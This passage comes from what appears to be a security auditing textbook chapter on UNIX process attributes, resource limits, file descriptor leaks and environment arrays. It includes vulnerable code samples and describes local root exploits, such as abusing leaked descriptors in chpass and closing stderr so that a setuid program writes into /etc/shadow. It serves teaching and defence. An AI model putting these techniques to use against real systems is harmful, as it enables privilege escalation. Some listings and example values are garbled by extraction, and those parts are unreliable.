are as follows: 

31051536.html
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 File descriptors File descriptors usually get passed on from the old process to 

the new process. Potential problem areas are discussed shortly in the "File 

Descriptors" section. 

 Signal masks (qualified) The new process loses all signal handlers that were 

installed in by the previous process but retains the same signal mask. Signals 

are explained in Chapter 13(? [????.]), "Synchronization and State." 

 Effective user ID If the program is setuid, the effective user ID becomes the 

user ID of the program file owner. Otherwise, it stays the same across the 

execution. 

 Effective group ID If the program is setgid, the effective group ID becomes the 

group ID of the program file group. Otherwise, it stays the same across the 

execution. 

 Saved set-user-ID This attribute is set to the value of the effective user ID 

after any setuid processing has been completed. 

 Saved set-group-ID This attribute is set to the value of the effective group ID 

after any setgid processing has been completed. 

 Real user ID This attribute is preserved across the execution. 

 Real group ID This attribute is preserved across the execution. 

 Process ID, parent process ID, and process group ID These attributes don't 

change across an execve() call. 

 Supplemental groups Any supplemental group privileges the process is 

running with are retained across a call to execve(). 

 Working directory The working directory of the new process is the same as 

that of the old process. 

 Root directory The root directory of the new process is the same as that of the 

old process. This is particularly relevant for processes running in an 

environment restricted by chroot-style mechanisms. 

 Controlling terminal The new process inherits the controlling terminal of the 

old process. 

 Resource limits Resource limits enforce maximum limits for accessing system 

resources such as files, stack and data sizes, and number of pending core file 

sizes. They are discussed in the next section. 

 Umask This attribute is used to derive a set of default permissions applied to 

new files the process creates. Security issues related to umask settings are 

described in Chapter 9(? [????.]). 

Many attributes listed here can be the source of potential vulnerabilities when the old 

and new processes run with different privilegesthat is, when a privileged process is 

called or when a privileged process drops its permissions and calls an unprivileged 

application. Bear in mind that the following discussion focuses on the most common 

scenarios a program might encounter when traversing an execve(). There might be 

other situations in which privileged applications honor specific attributes in such a 

way that they're exploitable. 

Resource Limits 
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Resource limits (abbreviated as "rlimits") are a process-specific set of attributes that 

enforce restrictions on the system resources that a process may use. The geTRlimit() 

and setrlimit() functions allow a process to examine and modify (to a certain extent) 

its own resource limits. There are multiple resources for which each process has 

defined limits. For each defined system resource a process has two associated 

resource values: a soft limit and a hard limit. The soft limit value is more of a warning 

threshold than a limit, in that the process may not exceed it but it is free to change the 

soft limit up or down as it pleases. In fact, a process is free to move the soft limit so 

that it's any value between zero and its hard limit. Conversely, a hard limit represents 

the absolute maximum resource usage that a process is allowed. A normal process 

can change its hard limit, but it can only lower it, and lowering a hard limit is 

irreversible. Superuser processes, however, can also raise hard limits. The following 

list of supported resource limits can be called and set via setrlimit() and getrlimit() 

in Linux; other UNIX systems support some or all of these values: 

 RLIMIT_CORE Maximum size in bytes of a core file that can be generated by the 

process. If this value is set to 0, the process doesn't dump the core file. 

 RLIMIT_CPU Maximum amount of CPU time in seconds that the process can use. 

If this time limit is exceeded, the process is sent the SIGXCPU signal, which 

terminates the process by default. 

 RLIMIT_DATA Maximum size in bytes of the data segment for the process. It 

includes the heap as well as static variables (both initialized and uninitialized). 

 RLIMIT_FSIZE Maximum size in bytes that can be written to a file. Any file 

opened by the process for writing can't exceed this size. Any attempts to write 

to files that exceed this size result in the SIGXFSZ signal being sent to the 

process, which causes termination by default. 

 RLIMIT_MEMLOCK Specifies the maximum number of bytes that can be locked in 

physical memory at one time. 

 RLIMIT_NOFILE Specifies the maximum number of files a process can have 

open at one time. 

 RLIMIT_NPROC Specifies the maximum amount of processes that specific user 

can run. 

 RLIMIT_OFILE The BSD version of RLIMIT_NOFILE. 

 RLIMIT_RSS Specifies the resident set size, which is the maximum number of 

virtual pages residing in physical memory. 

 RLIMIT_STACK Specifies the maximum size in bytes for the process stack. Any 

attempt to expand the stack beyond this size generates a segmentation fault 

(SIGSEGV), which typically terminates the process. 

 RLIMIT_VMEM Maximum bytes in the mapped address space. 

Rlimits are useful for developers to curtail potentially risky activities in secure 

programs, such as dumping memory to a core file or falling prey to denial-of-service 

attacks. However, rlimits also have a dark side. Users can set fairly tight limits on a 

process and then run a setuid or setgid program. Rlimits are cleared out when a 

process does a fork(), but they survive the exec() family of calls, which can be used 
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to force a failure in a predetermined location in the code. The reason that setting 

limits is so important is that developers often don't expect resources to be exhausted; 

as a result, even if they do handle the error to some degree, the error-handling code 

is usually less guarded than more well-traveled code paths. When developers do 

devote effort to securing error handling code, it is usually focused on dealing with 

input errors, so they rarely devote much effort to handling resource exhaustion 

securely. For example, take a look at Listing 10-2 taken from the BSD setenv() 

implementation. 

Listing 10-2. Setenv() Vulnerabilty in BSD 

int 

setenv(name, value, rewrite) 

        register const char *name; 

        register const char *value; 

        int rewrite; 

{ 

    extern char **environ; 

    static int alloced;       /* if allocated space before */ 

    register char *C; 

    int l_value, offset; 

 

    if (*value == '=')        /* no '='alloced = 1;      /* copy old 

entries into it */ 

            P = (char **)malloc((size_t)(sizeof(char *) * 

                (cnt + 2))); 

            if (!P) 

                return (-1); 

            bcopy(environ, P, cnt * sizeof(char *)); 

        environ = P; 

} 

environ[cnt + 1] = NULL; 

 

Obviously, it's unlikely for any of these calls to malloc() to fail, and their failure 

certainly isn't expected. Say alloced is set to 0 and malloc() does fail, however 

(shown in the bolded code lines). In this case, alloced will be set to 1 to indicate that 

the environment is allocated dynamically, but environ is never updated because the 

call to malloc() failed. Therefore, subsequent calls to setenv() cause the original 

stack buffer that environ still references to be passed as an argument to realloc() as 

if it is a heap buffer! 

Although it might be possible for users to exhaust resources naturally, triggering 

these code paths can often be complicated, and that's where setting resource limits 

comes in. Say you want a call to malloc() to fail at a certain point in the code; this 
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might not even be possible if the program hasn't dealt with enough input data yet. 

Even if it has, because malloc() occurs so often, making a specific call fail is difficult. 

Using setrlimit(), attackers can have some control over the amount of total memory 

the process can consume, which gives them a chance to trigger the vulnerable code 

path fairly accurately. 

Michael Zalewski, a noted security researcher, noticed a similar problem in the way 

that crontab functions (archived at http://seclists.org/bugtraq/1998/Feb/0018.html). 

When crontab first starts, it creates a root-owned temporary file in the crontab 

directory. It reads the user's crontab file and copies it to the temporary file. When the 

copy is completed, crontab renames this temporary file with the user's name so that 

the cron daemon parses it. Zalewski noticed that if you submit a file large enough to 

reach the resource limit for the file size, the soft limit signal kills crontab while it's still 

writing the file, before it can rename or unlink the temporary file. These temporary 

files stay lodged in the crontab directory and evade quotas because they are owned 

by root. 

Rafal Wojtczuk explained in a bugtraq post how he was able to exploit a problem in old 

versions of the Linux dynamic loader. Take a look at the following code: 

int fdprintf(int fd, const char *fmt, ...) 

{ 

    va_list args; 

    int i; 

    char buf[1024]; 

 

    va_start(args, fmt); 

    i=vsprintf(buf,fmt,args); 

    va_end(args); 

    write(fd, buf, i); 

    return i; 

} 

... 

static int try_lib(char *argv0, char *buffer, 

    char *dir, char *lib) 

{ 

    int found; 

 

    strcpy(buffer, dir); 

    if (lib != NULL) 

    { 

        strcat(buffer, "/"); 

        strcat(buffer, lib); 

    } 

 

http://seclists.org/bugtraq/1998/Feb/0018.html
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    if (!(found = !uselib(buffer))) 

    { 

        if (errno != ENOENT) 

        { 

            fdprintf(2, "%s: can't load library '%s'\n", 

                argv0, buffer); 

            fdprintf(2, "\t%s\n", strerror(errno)); 

        } 

    } 

 

    return found; 

} 

 

The TRy_lib() function is called by the dynamic loader to see whether a library file is 

present. It constructs the pathname and then attempts to call uselib(), which is a 

Linux system call that loads a shared library. uselib() returns errors similar to open(), 

such as ENFILE. If the shared library file can't be opened, the loader constructs an 

error message using fdprintf(). This function obviously has a buffer overflow with its 

use of vsprintf() to print into the 1024-byte stack buffer buf. If users can trigger the 

error that results in a call to fdprintf() and supply a long argv0 string when loading 

a setuid binary, they are able to exploit the overflow. 

To exploit this error, Wojtczuk had to time it so that the system consumed the total 

limit of file descriptors right before the loader attempted to load the library. He came 

up with a clever attack: He used file locking and the close-on-exec flag to ensure that 

his exploit program ran immediately after the exec() system call was completed and 

before the kernel invoked the dynamic loader. His exploit program then sent a 

SIGSTOP to the setuid program that ran, consumed all available file descriptors, and 

then sent a SIGCONT. When processing returned to the dynamic loader, no file 

descriptors were left to be allocated, causing the error message to be printed and the 

buffer overflow to occur. 

In addition, a program that writes data to a sensitive file might be exploitable if rlimits 

can be used to induce unexpected failure conditions. RLIMIT_FSIZE enforces a 

maximum limit on how many bytes a file can be that a process writes to. For example, 

setting this value to 5 means that any write() operation to a file will fail once the file 

becomes larger than 5 bytes in length. A single write() on a new file, therefore, 

results in five bytes being written to the file (and write() successfully returns 5). Any 

subsequent writes to the same file fail, and a SIGXFSZ signal is sent to the process, 

which will terminate if this signal doesn't have a handler installed. A file being 

appended to fails when its total size exceeds the value set in RLIMIT_FSIZE. If the file 

is already larger than the limit when it's opened, the first write() fails. Because signal 

masks are also inherited over an exec() system call, you can have a privileged 

program ignore the SIGXFSZ signal and continue processing. With the combination of 
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setting a signal mask and imposing a file resource limit (RLIMIT_FSIZE), you can 

arbitrarily cause file writes to fail at any place you choose. For example, consider a 

setuid root program that does the following: 

struct entry { 

    char name[32]; 

    char password[256]; 

    struct entry *next; 

}; 

 

int write_entries(FILE *fp, struct entry *list) 

{ 

    struct entry *ent; 

 

    for(ent = list; ent; ent = ent->next) 

        fprintf(fp, "%s:%s\n", ent->name, ent->password); 

 

    return 1; 

} 

 

This code iterates through a linked list of username/password pairs and prints them 

to an output file. By using the setrlimit() function to set RLIMIT_FSIZE, you can force 

fprintf() to print only a certain number of bytes to a file. This technique might be 

useful for cutting an entry off just after the username: part has been written on a line, 

thus causing the password to be truncated. 

Auditing Tip 

Carefully check for any privileged application that writes to a file without verifying 

whether writes are successful. Remember that checking for an error when calling 

write() might not be sufficient; they also need to check whether the amount of bytes 

they wrote were successfully stored in their entirety. Manipulating this application's 

rlimits might trigger a security vulnerability by cutting the file short at a strategically 

advantageous offset. 

 

Often code reviewers and developers alike tend to disregard code built to handle an 

error condition caused by resource exhaustion automatically, because they don't 

consider the possibility that users can trigger those code paths. In short, they forget 

about setting resource limits. When you're auditing applications that interact with 

system resources, make sure you address this question: "If I somehow cause a failure 

condition, can I leverage that condition to exploit the program?" 
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Auditing Tip 

Never assume that a condition is unreachable because it seems unlikely to occur. 

Using rlimits is one way to trigger unlikely conditions by restricting the resources a 

privileged process is allowed to use and potentially forcing a process to die when a 

system resource is allocated where it usually wouldn't be. Depending on the 

circumstances of the error condition you want to trigger, you might be able to use 

other methods by manipulating the program's environment to force an error. 

 

 

File Descriptors 

Many security-related aspects of UNIX are properties of how file descriptors behave 

across process creation and execution. You know that file descriptors are duplicated 

when a process is forked, and you've seen how the processes end up sharing their 

access to an underlying file object through these duplicated file descriptors. 

A process can also explicitly make a copy of a file descriptor, which results in the same 

underlying semantics as a file descriptor duplicated through forking. This copying is 

usually done with the dup(), dup2(), or fcntl() system calls. Processes normally pass 

file descriptors on to their children via fork(), but UNIX does provide ways for file 

descriptors to be shared with unrelated processes by using IPC. Interested readers 

can refer to W.R. Stephen's coverage of UNIX domain sockets in Advanced 

Programming in the Unix Environment (Addison-Wesley, 1992(? [????.])). 

File Sharing 

Whether process descriptors are duplicated through fork() or the dup() family of calls, 

you end up with multiple file descriptors across one or more processes that refer to 

the same open file object in the kernel. Consequently, all these processes share the 

same access flags and internal file pointer to that file. 

If multiple processes in a system open the same file with open(), they have their own 

open file structures. Therefore, they have their own file position pointers and could 

have different access modes and flags set on their interface with the file. They are still 

working with the same file, so changes to file contents and properties kept in the file's 

inode structure still affect a file's concurrent users. 

You can see an example in Figure 10-2, which shows two processes that aren't related 

to each other. Both processes have the password file open. Process 2000 has it open 

as its third file descriptor, and it opened the password file for read-only access, shown 

in the associated open file structure. The process on the right, process 3200, has the 

password file for both read and write access and has advanced its file pointer to the 
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location 0x33. The two processes have different levels of access to the password file, 

and they have independent file pointers that track their location in the file. 

Figure 10-2. Independent opens of the same file 

 

 

The access a process has to a file is determined when that file is opened. In Figure 

10-2, process 3200 opened the password file with read/write access, so it has a file 

descriptor and open file pointer representing that information. If someone renames 

the password file, changes its permissions to octal 0000, changes its owner and group 

to arbitrary people, and even deletes it from the file system, process 3200 still has an 

open descriptor to that file that allows it to read and write. 

Close-on-Exec 

File descriptors are retained in a process across the execution of different programs, 

unless the file descriptors are especially marked for closure. This behavior might not 

be quite what you'd expect, as UNIX tends to start most other aspects of a process 

over with a clean slate when a new program runs. UNIX does allow developers to 

mark certain file descriptors as close-on-exec, which means they are closed 

automatically if the process runs a new program. Close-on-exec can be a useful 

precaution for sensitive or critical files that developers don't want to be inherited by a 

subprogram. The file descriptor is usually marked with the fcntl() system call, and 

the kernel makes a note of it in the process descriptor table for the process. For 

applications that spawn new processes at any stage, always check to see whether this 

step is taken when it opens files. It is also useful to make a note of those persistent 
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files that aren't marked to close when a new program starts. In the next section, you 

will see that haphazardly leaving these files around can have interesting 

consequences. 

File Descriptor Leaks 

The possible actions a process can perform on a file descriptor are determined when 

the file descriptor is first created. To put it another way, security checks are 

performed only once, when the process initially creates a file descriptor by opening or 

creating a resource. If you can get access to a file descriptor that was opened with 

write access to a critical system file, you can write to that file regardless of your 

effective user ID or other system privileges. Therefore, programs that work with file 

descriptors to security-sensitive resources should close their descriptors before 

running any user-malleable code. For example, take a look at a hypothetical 

computer game that runs with the privileges necessary to open kernel memory: 

    int kfd; 

    pid_t p; 

    char *initprog; 

 

    kfd = safe_open("/dev/kmem", O_RDWR); 

 

    init_video_mem(kfd); 

    if ((initprog=getenv("CONTROLLER_INIT_PROGRAM"))) 

    { 

        if ((p=safe_fork()))         /* PARENT */ 

        { 

            wait_for_kid(p); 

            g_controller_status=CONTROLLER_READY; 

        } 

        else                         /* CHILD */ 

        { 

            drop_privs (); 

            execl(initprog, "conf", NULL); 

            exit(0);                 /* unreached */ 

        } 

    } 

 

    /* main game loop */ 

... 

 

This game first opens direct access to the system's memory via the device driver 

accessible at /dev/kmem. It uses this access to directly modify memory mapped to the 

video card for the purposes of performance. The game can also run an external 
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program to initialize a game controller, which users specify in the environment 

variable CONTROLLER_INIT_PROGRAM. The program permanently drops privileges before 

running this program to prevent users from simply supplying their own program to 

run with elevated privileges. 

The problem with this code is that the file descriptor that references the /dev/kmem file, 

kfd, is never closed before the game runs the external controller initialization 

program. Even though permissions have been fully dropped, attackers could still take 

control of the machine by providing a malicious controller initialization program. This 

attack is possible because the executed program starts with an open, writeable file 

descriptor to /dev/kmem. Attackers would need to construct a fairly straightforward 

program that could modify critical kernel data structures and elevate user privileges. 

This example might seem a bit contrived, but it's quite similar to a vulnerability in 

recent versions of FreeBSD. FreeBSD's libkvm library provides access to kernel 

symbols, addresses, and values for programs that need to work with kernel memory. 

A researcher named badc0ded discovered that this library could leave file descriptors 

open to critical files, such as /dev/kmem, and because of the library's interface, it was 

difficult for application authors to prevent a leak. Although no programs in the 

standard FreeBSD distribution were found to use the library in an nonsecure fashion, 

badc0ded found several ports that could be exploited to gain root privileges. (The 

FreeBSD advisory can be found at 

http://security.freebsd.org/advisories/FreeBSD-SA-02:39.libkvm.asc.) 

Another classic example of a file descriptor leak vulnerability is OpenBSD 2.3's chpass 

program, which had a local root vulnerability discovered by Oliver Friedrichs from NAI 

(archived at http://seclists.org/bugtraq/1998/Aug/0071.html). chpass is a setuid 

root application that allows nonprivileged users to edit information about their 

accounts. 

In OpenBSD, user account information is stored in a database file in /etc/pwd.db. It 

can be read by everyone and contains public information about user accounts. 

Sensitive information, such as password hashes, is stored in the root-owned, mode 

0600 database /etc/spwd.db. The system administrator works with these databases 

by editing the text file /etc/master.passwd, which resembles the shadow password file 

in other UNIX systems. After an administrator edits this file, administrative tools can 

use the pwd_mkdb program behind the scenes to propagate the master.passwd file's 

contents into the pwd.db and spwd.db password databases and to a /etc/passwd file in 

a compatible format for general UNIX applications to use. Chpass is one of these 

administration tools: It lets users edit their account information, and then it uses 

pwd_mkdb to propagate the changes. 

Chpass first creates a writeable, unique file in /etc called /etc/ptmp. When chpass is 

almost finished, it fills /etc/ptmp with the contents of the current master.passwd file, 

making any changes it wants. Chpass then has pwd_mkdb turn /etc/ptmp in the 

http://security.freebsd.org/advisories/FreeBSD-SA-02:39.libkvm.asc
http://seclists.org/bugtraq/1998/Aug/0071.html
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master.passwd file and propagates its information to the system password databases. 

The /etc/ptmp file also serves as a lock file because while it's present on the file 

system, no other programs will attempt to manipulate the password database. The 

following code (slightly edited) is taken from the vulnerable version of chpass: 

tfd = pw_lock(0); 

if (tfd < 0) { 

        if (errno == EEXIST) 

                errx(1, "the passwd file is busy."); 

        else 

                err(1, "can't open passwd temp file"); 

} 

pfd = open(_PATH_MASTERPASSWD, O_RDONLY, 0); 

if (pfd < 0) 

        pw_error(_PATH_MASTERPASSWD, 1, 1); 

 

/* Edit the user passwd information if requested. */ 

if (op == EDITENTRY) { 

        dfd = mkstemp(tempname); 

        if (dfd < 0) 

                pw_error(tempname, 1, 1); 

        display(tempname, dfd, pw); 

        edit(tempname, pw); 

        (void)unlink(tempname); 

} 

 

/* Copy the passwd file to the lock file, 

   updating pw. */ 

pw_copy(pfd, tfd, pw); 

 

/* Now finish the passwd file update. */ 

if (pw_mkdb() < 0) 

       pw_error(NULL, 0, 1); 

 

exit(0); 

 

The program first uses the pw_lock() function to create /etc/ptmp, which is kept in the 

file descriptor tfd (which stands for "to file descriptor"). Keep in mind that chpass 

ultimately places its version of the new password file in /etc/ptmp. Chpass then opens 

a read-only copy of the master.passwd file and stores it in pfd ("password file 

descriptor"). This copy is used later as the source file when filling in /etc/ptmp. 

Chpass then creates a temporary file via mkstemp() and places a text description of the 

user's account information in it with display(). It then spawns an editor program with 
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the edit() function, allowing the user to change the information. The edit() function 

first forks a new process that drops privileges fully and runs an editor specified by the 

user. Once that process is completed, the changes that the user has made are 

evaluated, and if they are okay, the struct passwd *pw is updated to reflect the new 

changes. 

After the user edits the file and chpass updates the pw structure, chpass copies the 

master.passwd file from /etc/master.passwd (via pfd) to /etc/ptmp file (via tfd). The 

only thing changed in the copy is the information for the account described by pw. 

After the copy is completed, pw_mkdb() is called, which is responsible for propagating 

/etc/ptmp to the system's password database and password files. 

There are a couple of problems related to file descriptors throughout this update 

process. You can run any program of your choice when chpass calls the edit() 

function, simply by setting the environment variable EDITOR. Looking at the previous 

code, you can see that pfd, which has read access to the shadow password file, isn't 

closed before the editor runs. Also, tfd, which has read and write access to /etc/ptmp, 

isn't closed. Say attackers write a simple program like this one: 

#include <stdio.h> 

#include <fnctl.h> 

 

int main(int argc, char **argv) 

{ 

    int i; 

    for (i=0; i<255; i++) 

       if (fcntl(i, F_GETFD)!=-1) 

           printf("fd %d is active!\n", i); 

} 

 

This program uses a simple fcntl() call on each file descriptor to see which ones are 

currently valid. Attackers could use this program as follows: 

$ gcc g.c -o g 

$ export EDITOR=./g 

$ chpass 

0 is active 

1 is active 

2 is active 

3 is active 

4 is active 

chpass: ./g: Undefined error: 0 

chpass: /etc/master.passwd: unchanged 

$ 
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File descriptors 0, 1, and 2 correspond to standard in, standard out, and standard 

error, respectively. File descriptor 3 is a writeable descriptor for /etc/ptmp, which is 

stored in the tfd variable in chpass. File descriptor 4 is a readable descriptor for 

/etc/master.passwd, which is stored in pfd in chpass. Attackers can do a few things to 

exploit this problem. The most straightforward is to read in the master.passwd file 

from descriptor 4 and display its contents, as it contains password hashes they might 

be able to crack with a dictionary password cracker. 

File descriptor 3, however, offers a better attack vector. Remember that after the 

editor finishes, chpass copies the current master.passwd file's contents into /etc/ptmp, 

makes the necessary changes, and then tells pwd_mkdb to propagate that 

information to the system databases. The editor can't simply write to descriptor 3 

because after it exits, pw_copy() causes tfd to be repositioned at the beginning of the 

file and overwrites the changes. This is a minor obstacle: One approach to exploiting 

this condition is to write data past the expected end of the file, where attackers could 

place extra root-level accounts. Another approach is to fork another process and let 

chpass think the editor has finished. While chpass is performing the copy operation, 

the grandchild process can make modifications to /etc/ptmp, which gets propagated 

to the password databases. The OpenBSD developers fixed this problem by marking 

all file descriptors that chpass opens as close-on-exec with fcntl(). 

Programs that drop privileges to minimize the impact of running potentially unsafe 

code should be evaluated from the perspective of file descriptor management. As you 

saw in the previous examples, if a program unintentionally exposes a file descriptor to 

users of lesser privileges, the security consequences can be quite serious. 

Open file descriptors can also be used to subvert security measures that have been 

put in place to limit the threat of a successful compromise of an application. In setuid 

programs, a defensive programming technique often used is to drop privileges as 

early as possible so that a security flaw in the program doesn't result in unfettered 

access to the machine. However, developers often neglect to ensure that sensitive 

files are closed (or, depending where the vulnerability is in the program, sensitive 

files might be required to be open). Network servers also use least privilege designs 

to try to limit the impact of remote code execution vulnerabilities. Often these servers 

have a large number of files open that could be of use to attackers, such as 

configuration files, logs files, and, of course, sockets. 

Note 

The discussion on file descriptor leakage isn't limited to files; it applies to any 

resource that can be represented with a file descriptorsockets, pipes, and so on. 

These resources can also give attackers some opportunities for exploitation. One 

example is exploiting a server that has its listening socket open; by accepting 
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connections on this socket, an attacker might be able to discover confidential 

information, such as passwords, usernames, and other sensitive data specific to the 

server's tasks. 

 

 

File Descriptor Omission 

Every time a process opens a new file or object that causes the creation of a file 

descriptor, that descriptor is placed in the process's file descriptor table at the lowest 

available numerical position. For example, say a process has file descriptors 1, 2, 3, 

4, and 5 open. If it closes file descriptors 2 and 4, the next file descriptor that gets 

created is 2, and the file descriptor created after that is 4. 

There's a convention in the UNIX library code that the first three file descriptors are 

special: File descriptor 0 is standard input, file descriptor 1 is standard output, and file 

descriptor 2 is standard error. As you might expect, there have been security 

vulnerabilities related to these assumptions. In general, if you open a file that is 

assigned a file descriptor lower than 3, library code might assume your file is one of 

the standard I/O descriptors. If it does, it could end up writing program output or 

error messages into your file or reading program input from your file. 

From a security perspective, the basic problem is that if attackers start a setuid or 

setgid program with some or all of these three file descriptors unallocated, the 

privileged program might end up confusing files it opens with its standard input, 

output, and error files. Consider a setuid-root application with the following code: 

/* open the shadow password file */ 

if ((fd = open("/etc/shadow", O_RDWR))==-1) 

    exit(1); 

 

/* try to find the specified user */ 

user=argv[1]; 

 

if ((id = find_user(fd, user))==-1) 

{ 

    fprintf(stderr, "Error: invalid user %s\n", user); 

    exit(1); 

} 

 

This setuid root application opens the shadow password file and modifies a user 

attribute specified in the program's argument. If the user is not a valid system user, 

the program prints out a brief error message and aborts processing. 
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Say you go to run this program, but first you close the standard error file descriptor, 

file descriptor 2. The setuid program first opens /etc/shadow in read/write mode. It's 

assigned file descriptor 2, as it's the first available position. If you provide an invalid 

username in argv[1], the setuid program would attempt to write an error message to 

standard error with fprintf(). In this case, the standard I/O library would actually 

write to file descriptor 2 and write the error message into the /etc/shadow file! You 

could then provide a username with newline characters embedded, insert your own 

entry lines in the shadow password file, and gain root access to the system. 

Joost Pol and Georgi Guninski, two independent security researchers, were most 

likely the first researchers to publish an attack for this class of 

vulnerability(summarized at 

http://security.freebsd.org/advisories/FreeBSD-SA-02:23.stdio.asc), although the 

OpenBSD developers addressed it previously in a kernel patch in 1998, and it appears 

to have been discussed as early as 1987. Pol and Guninski were able to compromise 

the keyinit program in FreeBSD by letting it open /etc/skeykeys as file descriptor 2 

and having it write specially crafted error messages intended for standard error to the 

skey configuration file. 

Many modern UNIX distributions have addressed this issue via modifications to the 

kernel or the C libraries. Typically, they make sure that when a new process runs, all 

three of its first file descriptors are allocated. If any aren't, the fixes usually open the 

/dev/null device driver for the missing descriptors. 

There have been a few vulnerabilities in the implementations of these protections, 

however. For example, OpenBSD 3.1, 3.0, and 2.9 had a patch that wasn't quite 

enough to prevent the problem if attackers could starve the system of resources. This 

issue was discovered by the researcher FozZy, and is documented at 

http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0066.html. The 

following code (slightly edited) is from the vulnerable version of the sys_execve() 

system call in the kernel: 

     /* 

      * For set[ug]id processes, a few caveats apply to 

      * stdin, stdout, and stderr. 

      */ 

     for (i = 0; i < 3; i++) { 

 

             struct file *fp = NULL; 

 

             fp = fd_getfile(p->p_fd, i); 

 

             /* 

              * Ensure that stdin, stdout, and stderr are 

              * already allocated. You do not want 

http://security.freebsd.org/advisories/FreeBSD-SA-02:23.stdio.asc
http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0066.html
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              * userland to accidentally allocate 

              * descriptors in this range, which has 

              * implied meaning to libc. 

              * 

              * XXX - Shouldn't the exec fail if you can't 

              *       allocate resources here? 

              */ 

             if (fp == NULL) { 

                     short flags = FREAD | 

                         (i == 0 ? 0 : FWRITE); 

                     struct vnode *vp; 

                     int indx; 

 

                     if ((error = falloc(p, &fp, &indx)) != 0) 

                             break; 

 

                     if ((error = cdevvp( 

                         getnulldev(), &vp)) != 0) { 

                             fdremove(p->p_fd, indx); 

                             closef(fp, p); 

                             break; 

                     } 

 

                     if ((error = VOP_OPEN(vp, flags, 

                         p->p_ucred, p)) != 0) { 

                             fdremove(p->p_fd, indx); 

                             closef(fp, p); 

                             vrele(vp); 

                             break; 

                   } 

                   ... 

            } 

     } 

 

This code goes through file descriptors 0, 1, and 2 in a new setuid or setgid process to 

ensure that all the standard file descriptors are allocated. If they aren't present and 

fd_getfile() returns NULL, the rest of the code opens the null device for each 

unallocated file descriptor. The null device is a special device that discards everything 

it reads; it's typically accessed in userland via the device driver /dev/null. This code 

seems to do the trick for setuid and setgid applications, as any unallocated file 

descriptor in position 0, 1, or 2 is allocated with a reference to the /dev/null file. 

The problem with this code is that if any of the three file operations fail, the code 

breaks out of the loop and continues running the new program. The developers were 
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aware of this potential problem, as evidenced by the comment about exec() failing. 

The bug ended up being locally exploitable to gain root access. The described attack 

is this: If attackers fill up the kernel's global file descriptor table by opening many 

pipes, they can cause the falloc() call (bolded) in the code to fail. The for loop is 

broken out of, and a setuid program can be spawned with a low-numbered file 

descriptor closed. The author, FozZy, was able to exploit the /usr/bin/skeyaudit 

program by running it so that file descriptor 2 was unallocated. skeyaudit opened 

/etc/skeykeys as file descriptor 2, and then proceeded to write attacker-controllable 

error messages in the file and consequently allowing attackers to gain root access. 

Georgi Guninski found a similar problem in FreeBSD's code to prevent this issue. The 

code was basically the same as the previous example, except in certain conditions, 

the kernel system call closed a file descriptor later in the processing. Guninski was 

able to open a file as file descriptor 2 that the kernel would later close if the file that 

the descriptor references is /proc/curproc/mem. By running /usr/bin/keyinit with this 

file assigned to descriptor 2, he was able to get a string of his choosing inserted into 

/etc/skeykeys, which equated to a root compromise. This vulnerability is documented 

at www.ciac.org/ciac/bulletins/m-072.shtml. 

From an auditing perspective, you should consider this vulnerability for 

cross-platform UNIX applications. Arguably, the OS should handle it in the kernel or 

standard libraries, but a case could definitely be made for cross-platform programs 

needing a more defensive approach. OpenBSD, FreeBSD, NetBSD, and Linux have 

patched this issue in recent versions, but the status of older versions of these OSs and 

commercial UNIX versions is less certain. 

Environment Arrays 

A process maintains a set of data known as its environment or environment variables, 

which is a collection of configuration strings that programs reference to determine 

how a user wants certain actions to be performed. A process's environment is usually 

maintained by the standard library, but the UNIX kernel provides special mechanisms 

for transferring a process environment across the execve() system call. 

The environment is represented in memory as an array of pointers to C strings. The 

last element in this array is a NULL pointer that terminates the list. The array is 

pointed to by the global libc variable environ. Each pointer in the environment array 

is a pointer to a separate NULL-terminated C string, which is called an environment 

variable. Figure 10-3 shows a process environment in a program running on a UNIX 

system. 

Figure 10-3. Environment of a process 

http://www.ciac.org/ciac/bulletins/m-072.shtml
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When a process calls execve() to run a new program, it provides a pointer to the new 

program's environment using the envp parameter. If a process passes a pointer to its 

own array of environment strings, the UNIX kernel takes responsibility for 

transferring that environment over to the new process image. Environment variables 

are transferred to the new process in a particular way by the execve() system call. A 

UNIX kernel goes through the provided environment array and copies each 

environment string to the new process in a tightly packed format. Then it builds a 

corresponding array of pointers to these strings by walking through the adjacent 

strings it placed together. Figure 10-4 shows what the process environment depicted 

in Figure 10-3 might look like after an execve(). Notice how all the environment 

variables are adjacent in memory, and they are placed in order of their appearance in 

the original environment. Don't pay too much attention to the addresses. On a real 

UNIX system, the environment strings would likely be next to the program argument 

strings, at the top of the program stack. 

Figure 10-4. Process environment immediately after an execve() 
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After the kernel has finished setting up the process, it's up to the standard system 

libraries to manage the environment. These libraries maintain a global variable called 

environ that always points to the array of strings composing the process's 

environment. The first piece of runtime glue code that's called when a new program 

runs immediately sets environ to point to the array of environment variables set up by 

the kernel at the top of the stack. 

As a process runs, it can add, modify, and delete its environment variables. When 

additions are made, the environment manipulation functions (described momentarily) 

are responsible for finding new memory to store the environment list and the strings 

when required. They do so by using memory from the heap, allocated with malloc() 

and resized with realloc(). 

Different UNIX implementations have different semantics for handling the 

environment. In general, processes use five main functions to manipulate their 

environment: getenv(), used to retrieve environment variables; setenv(), used to set 

environment variables; putenv(), a different interface for setting environment 

variables; unsetenv(), used for deleting an environment variable; and clearenv(), 

used to clear out a process's environment. Not all UNIX implementations have all five 

functions, and the semantics of functions vary across versions. 

As far as the kernel cares, the environment is simply an array of NULL-terminated 

strings. The standard C library, however, expects strings to be in a particular format, 

separating environment variables into a name and a value. The = character is used as 

the delimiter, so a typical environment variable is expected to follow this format: 

NAME= 

 

The library functions provided for programs to manipulate their environment 

generally work with this expectation. These functions are described in the following 

paragraphs. 

The getenv() function is used to look up environment variables by name and retrieve 

their corresponding values: 

char *getenv(const char *name); 

 

It takes a single argument, which is the name of the environment variable to retrieve, 

and searches through the program's environment for that variable. Say you call it like 

this: 

res = getenv("bob"); 
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getenv() would go through each string in the environment, starting at the first one in 

the array pointed to by environ. The first environment string it finds starting with the 

four characters bob= will be returned to the caller (actually, it returns a pointer to the 

byte immediately following the = character). So for an environment string defined as 

bob=, getenv("bob") would return a pointer to the string test.getenv() is supported 

across practically all UNIX environments. 

The setenv() function is used to add or update environment variables: 

int setenv(const char *name, const char *val, int rewrite); 

 

This function takes a name of an environment variable and a potential value. If the 

name environment variable doesn't exist, the function creates it and sets it to the value 

indicated in the second argument. If the name environment variable does exist, the 

behavior depends on the rewrite argument. If it's set, setenv() replaces the existing 

environment variable, but if it's not, setenv() doesn't do anything to the 

environment. 

